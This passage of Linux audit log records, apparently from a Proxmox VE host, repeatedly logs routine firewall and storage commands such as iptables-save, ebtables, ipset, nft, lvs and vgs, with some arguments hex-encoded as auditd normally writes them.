a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.846:61261): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965225463,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.463:64714): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.846:61260): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.454:64713): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.846:61259): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.454:64712): argc=1 a0=\"date\""} {"@timestamp":1781964495842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.842:61258): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.447:64710): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964495836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.836:61257): proctitle=\"ip6tables-save\""} {"@timestamp":1781965225436,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.436:64709): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964495830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.830:61256): proctitle=\"iptables-save\""} {"@timestamp":1781965225420,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.420:64708): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964495825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.825:61255): proctitle=69707365740073617665"} {"@timestamp":1781965225408,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.408:64707): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964495820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.820:61254): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965225395,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.395:64706): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964495813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964495.813:61253): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965225390,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.390:64704): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964494823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.823:61252): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965225384,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.384:64703): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964494793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.793:61251): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965225377,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.377:64702): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.586:61250): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225373,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.373:64701): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.586:61249): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225367,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.367:64700): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.586:61248): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225361,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.361:64699): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.575:61247): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225354,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.354:64698): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.575:61246): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225347,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.347:64697): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964494.575:61245): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225343,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.343:64696): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.567:61244): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225341,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.341:64695): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.567:61243): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.339:64694): argc=1 a0=\"date\""} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.567:61242): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.335:64692): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964489558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.558:61241): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225327,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.327:64691): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964489558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.558:61240): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225318,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.318:64690): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964489557,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964489.557:61239): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965225311,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.311:64689): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964485803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.803:61238): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965225303,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.303:64688): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964485800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.800:61237): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965225295,"@rawstring":"node=pve type=EXECVE msg=audit(1781965225.295:64687): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964485799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.799:61236): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965224895,"@rawstring":"node=pve type=EXECVE msg=audit(1781965224.895:64686): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964485799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.799:61235): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965224873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965224.873:64685): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964485795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.795:61234): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=EXECVE msg=audit(1781965222.230:64684): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.790:61233): proctitle=\"ip6tables-save\""} {"@timestamp":1781965222220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965222.220:64681): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.783:61232): proctitle=\"iptables-save\""} {"@timestamp":1781965217209,"@rawstring":"node=pve type=EXECVE msg=audit(1781965217.209:64678): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.776:61231): proctitle=\"ip6tables-save\""} {"@timestamp":1781965217201,"@rawstring":"node=pve type=EXECVE msg=audit(1781965217.201:64675): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.770:61230): proctitle=\"iptables-save\""} {"@timestamp":1781965215281,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.281:64672): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964485767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.767:61229): proctitle=\"ebtables-restore\""} {"@timestamp":1781965215277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.277:64671): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964485765,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.765:61228): proctitle=\"ebtables-restore\""} {"@timestamp":1781965215277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.277:64670): argc=1 a0=\"date\""} {"@timestamp":1781964485760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.760:61227): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.272:64668): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964485755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.755:61226): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965215266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.266:64667): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964485750,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.750:61225): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965215254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.254:64666): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964485745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.745:61224): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965215245,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.245:64665): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964485740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.740:61223): proctitle=697073657400726573746F7265"} {"@timestamp":1781965215236,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.236:64664): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964485734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.734:61222): proctitle=\"ip6tables-save\""} {"@timestamp":1781965215229,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.229:64662): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964485728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.728:61221): proctitle=\"iptables-save\""} {"@timestamp":1781965215220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.220:64661): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964485725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.725:61220): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965215214,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.214:64660): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964485722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.722:61219): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965215208,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.208:64659): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964485721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.721:61218): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965215202,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.202:64658): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964485721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.721:61217): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965215196,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.196:64657): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964485717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.717:61216): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965215187,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.187:64656): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964485710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.710:61215): proctitle=\"ip6tables-save\""} {"@timestamp":1781965215180,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.180:64655): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964485704,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.704:61214): proctitle=\"iptables-save\""} {"@timestamp":1781965215175,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.175:64654): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964485699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.699:61213): proctitle=69707365740073617665"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.170:64653): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964485693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.693:61212): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.170:64652): argc=1 a0=\"date\""} {"@timestamp":1781964485685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964485.685:61211): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.164:64650): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964484727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.727:61210): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965215158,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.158:64649): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964484700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.700:61209): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965215150,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.150:64648): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.547:61208): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965215144,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.144:64647): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.547:61207): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965215136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.136:64646): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964484547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.547:61206): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965215126,"@rawstring":"node=pve type=EXECVE msg=audit(1781965215.126:64645): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.540:61205): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965214783,"@rawstring":"node=pve type=EXECVE msg=audit(1781965214.783:64644): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.540:61204): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965214754,"@rawstring":"node=pve type=EXECVE msg=audit(1781965214.754:64643): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964484540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964484.540:61203): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965212.192:64642): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964479529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.529:61202): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=EXECVE msg=audit(1781965212.181:64639): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964479529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.529:61201): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=EXECVE msg=audit(1781965207.172:64636): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964479528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.528:61200): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=EXECVE msg=audit(1781965207.168:64633): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.523:61199): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965206113,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.113:64630): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.523:61198): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965206111,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.111:64629): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964479.523:61197): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.109:64628): argc=1 a0=\"date\""} {"@timestamp":1781964475675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.675:61196): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.105:64626): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964475671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.671:61195): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965206099,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.099:64625): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.670:61194): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965206090,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.090:64624): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.670:61193): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965206085,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.085:64623): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.666:61192): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965206076,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.076:64622): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.660:61191): proctitle=\"ip6tables-save\""} {"@timestamp":1781965206070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.070:64620): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964475654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.654:61190): proctitle=\"iptables-save\""} {"@timestamp":1781965206067,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.067:64619): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964475647,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.647:61189): proctitle=\"ip6tables-save\""} {"@timestamp":1781965206061,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.061:64618): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964475640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.640:61188): proctitle=\"iptables-save\""} {"@timestamp":1781965206054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.054:64617): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964475637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.637:61187): proctitle=\"ebtables-restore\""} {"@timestamp":1781965206048,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.048:64616): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964475635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.635:61186): proctitle=\"ebtables-restore\""} {"@timestamp":1781965206043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.043:64615): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964475630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.630:61185): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965206034,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.034:64614): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.625:61184): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965206028,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.028:64613): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.618:61183): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965206024,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.024:64612): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964475613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964475.613:61182): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965206020,"@rawstring":"node=pve type=EXECVE msg=audit(1781965206.020:64611): argc=3 a0=\"sh\" a1=\"-c\" 